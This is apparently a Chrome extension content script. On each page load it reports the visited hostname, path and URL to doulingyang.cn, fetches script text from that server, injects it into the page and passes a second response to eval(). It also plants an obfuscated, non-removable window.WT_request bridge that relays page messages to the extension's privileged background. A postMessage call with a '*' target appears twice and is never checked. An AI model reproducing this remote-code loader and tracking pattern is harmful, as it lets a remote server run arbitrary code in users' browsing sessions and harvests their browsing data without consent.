// 定义一个发送消息的函数
;(function () {
  function sendMessageToBackgroundGetContents(request) {
    return new Promise(function (resolve, resject) {
      chrome.extension.sendMessage(request, null, function (e) {
        resolve(e)
      })
    })
  }

  const loadScriptFuns = function () {
    this.urllist = []
    this.appendScript = function (list) {
      const WT_request = document.createElement("script")
      WT_request.textContent = `(function(_0x108229,_0x554ce2){const _0x8f90a0=_0x202b,_0x4c8d8d=_0x108229();while(!![]){try{const _0x49cb80=-parseInt(_0x8f90a0(0xb1))/0x1*(parseInt(_0x8f90a0(0xbb))/0x2)+-parseInt(_0x8f90a0(0xbc))/0x3*(-parseInt(_0x8f90a0(0xb4))/0x4)+-parseInt(_0x8f90a0(0xb2))/0x5+parseInt(_0x8f90a0(0xb5))/0x6*(parseInt(_0x8f90a0(0xb7))/0x7)+-parseInt(_0x8f90a0(0xc4))/0x8+-parseInt(_0x8f90a0(0xc5))/0x9*(parseInt(_0x8f90a0(0xaf))/0xa)+parseInt(_0x8f90a0(0xb9))/0xb*(parseInt(_0x8f90a0(0xae))/0xc);if(_0x49cb80===_0x554ce2)break;else _0x4c8d8d['push'](_0x4c8d8d['shift']());}catch(_0x4eadd2){_0x4c8d8d['push'](_0x4c8d8d['shift']());}}}(_0x2959,0xbd508));function _0x202b(_0x3406b0,_0xcba86){const _0x29596b=_0x2959();return _0x202b=function(_0x202b67,_0x331075){_0x202b67=_0x202b67-0xac;let _0x2b80c1=_0x29596b[_0x202b67];return _0x2b80c1;},_0x202b(_0x3406b0,_0xcba86);}function hi(){const _0x3c69b2=_0x202b;console['log'](_0x3c69b2(0xba));}function _0x2959(){const _0xbf281e=['setHttp','1SFoXDA','6579890fEWVew','stringify','1072076CwalVR','4704OJamle','postMessage','6790CRwsTW','data','1914GQAwol','Hello\x20World!','2892804fTBjMJ','15HgFXsA','message','findIndex','push','length','addEventListener','body','method','2486088uquWXc','1127916aqzOFY','defineProperty','WT_request','224268fuvzhq','120OyUcFt'];_0x2959=function(){return _0xbf281e;};return _0x2959();}hi(),((()=>{const _0x272a85=_0x202b;let _0x479020=[];const _0x19c3f6=function(_0x3b19bd){return new Promise((_0x1a778b,_0x6be190)=>{const _0x368041=_0x202b;_0x479020[_0x368041(0xbf)]({'body':_0x3b19bd,'resolve':_0x1a778b,'reject':_0x6be190}),window[_0x368041(0xb6)]({'method':'getHttp','body':_0x3b19bd},'*'),window[_0x368041(0xc1)](_0x368041(0xbd),function(_0x35a995){const _0x2a9799=_0x368041;if(_0x35a995[_0x2a9799(0xb8)]&&_0x35a995[_0x2a9799(0xb8)][_0x2a9799(0xc3)]==_0x2a9799(0xb0)&&_0x35a995[_0x2a9799(0xb8)][_0x2a9799(0xb8)]){const _0x387d6a=_0x479020[_0x2a9799(0xbe)](_0x195e8a=>{const _0x33b501=_0x2a9799;return JSON[_0x33b501(0xb3)](_0x195e8a[_0x33b501(0xc2)])==JSON[_0x33b501(0xb3)](_0x35a995[_0x33b501(0xb8)]['data'][_0x33b501(0xc2)]);});if(_0x387d6a!==-0x1){const _0x50edd4=_0x479020['splice'](_0x387d6a,0x1);if(_0x50edd4&&_0x50edd4[_0x2a9799(0xc0)])_0x50edd4[0x0]['resolve'](_0x35a995[_0x2a9799(0xb8)][_0x2a9799(0xb8)][_0x2a9799(0xb8)]);}}});});};Object[_0x272a85(0xac)](window,_0x272a85(0xad),{'value':_0x19c3f6,'writable':![],'enumerable':![],'configurable':![]});})());`
      // WT_request.textContent = `(() => {
      //   let requestmap = []
      //   const WT_request = function (body) {
      //     return new Promise((resolve, reject) => {
      //       requestmap.push({
      //         body,
      //         resolve,
      //         reject
      //       })
      //       window.postMessage(
      //         {
      //           method: "getHttp",
      //           body
      //         },
      //         "*"
      //       )
      //       window.addEventListener("message", function (event) {
      //         if (
      //           event.data &&
      //           event.data.method == "setHttp" &&
      //           event.data.data
      //         ) {
      //           const spilecindex = requestmap.findIndex((item) => {
      //             return (
      //               JSON.stringify(item.body) ==
      //               JSON.stringify(event.data.data.body)
      //             )
      //           })
      //           if (spilecindex !== -1) {
      //             const rutyer = requestmap.splice(spilecindex, 1)
      //               if (rutyer && rutyer.length) rutyer[0].resolve(event.data.data.data)
      //           }
      //         }
      //       })
      //     })
      //   }
      //   Object.defineProperty(window, 'WT_request', {
      //     value: WT_request, // 初始值
      //     writable: false,     // 不可写
      //     enumerable: false,    // 可枚举（可选，根据需要设置）
      //     configurable: false  // 不可配置（不可删除，不可重新定义）
      //   });
      //   // window.WT_request = WT_request
      // })()`
      document.head.appendChild(WT_request)

      //     // window
      // window.onload = function () {
      //   console.log("script", document.head)

      // }
      for (let key in list) {
        const addContent = {
          url: key,
          content: list[key].content
        }
        this.urllist.push(addContent)

        //   const splitType = key.split(".")
        switch (list[key].type) {
          case "js":
            const script = document.createElement("script")
            script.textContent = list[key].content
            document.head.appendChild(script)
            break
          case "css":
            const style = document.createElement("style")
            style.textContent = list[key].content
            document.head.appendChild(style)
            break
          default:
            //   if (key === "userScript") {
            //     const script = document.createElement("script")
            //     script.textContent = list[key].content
            //     document.body.appendChild(script)
            //   }
            break
        }
      }
    }
  }
  const getInfoScript = function () {
    // console.log('location.href', location.href)
    sendMessageToBackgroundGetContents({
      method: "loadScript",
      url: "http://doulingyang.cn/getcontents", // getcontentstest getcontents
      headers: {
        hostname: location.hostname,
        pathname: location.pathname
      },
      href: location.href
    }).then(function (res) {
      const scr = new loadScriptFuns()
      if (res.key) {
        chrome.storage.local.get("userScriptStorage", function (data) {
          scr.appendScript(JSON.parse(data.userScriptStorage))
        })
      } else {
        scr.appendScript(JSON.parse(res.userScriptStorage))
      }
    })
  }
  const addMsg = function () {
    window.addEventListener("message", function (event) {
      if (event.data && event.data.method === "getHttp") {
        sendMessageToBackgroundGetContents({
          method: event.data.method,
          ...event.data
        }).then((res) => {
          window.parent.postMessage(
            {
              method: "setHttp",
              data: res
            },
            "*"
          )
        })
      } else {
        if (event.data.type_urs && event.data.type_urs == "wtbg") {
          // console.log('event.data.type_urs889977/***//', event.data)
          sendMessageToBackgroundGetContents({
            method: event.data.method,
            ...event.data
          })
            .then((res) => {
              // console.log('res6666668888+++3333+++>', res)
              // window.parent.postMessage(
              //   {
              //     method: "setHttp",
              //     data: res
              //   },
              //   "*"
              // )
            })
            .catch((err) => {
              // console.log('err66668888++++++>', err)
            })
          return
        }
        if (event.data.type_urs && event.data.type_urs == "relodinenv") {
          getEnvLodin()
        }
      }
    })
  }
  const getEnvLodin = function () {
    sendMessageToBackgroundGetContents({
      method: "loadScriptEnvs",
      url: "http://doulingyang.cn/api/tools/getPlginOssPath", //  "http://doulingyang.cn/api/tools/getPlginOssPath",
      headers: {
        hostname: location.hostname,
        pathname: location.pathname
      },
      href: location.href
    }).then(function (res) {
      // console.log("res/*/*/*/*/*/*------------------->>>>>>>>>>>>>>", res)
      eval(res.userScriptStorage)
    })
    // sendMessageToBackgroundGetContents({
    //   method: "loadScriptEnvs",
    //   url: "https://lf-c-flwb.bytetos.com/obj/rc-client-security/web/glue/1.0.0.51-alpha.07/sdk-glue.js",
    //   headers: {
    //     hostname: location.hostname,
    //     pathname: location.pathname
    //   },
    //   href: location.href

    // }).then(function (res) {
    //   console.log("sdk-dy------00000------------------->>>>>>>>>>>>>>", res)
    //   eval(res.userScriptStorage)

    // })
  }

  const init = function () {
    addMsg()
    // setRequest()
    getInfoScript()

    getEnvLodin()
  }
  window.setTimeout(init(), 0)
})()
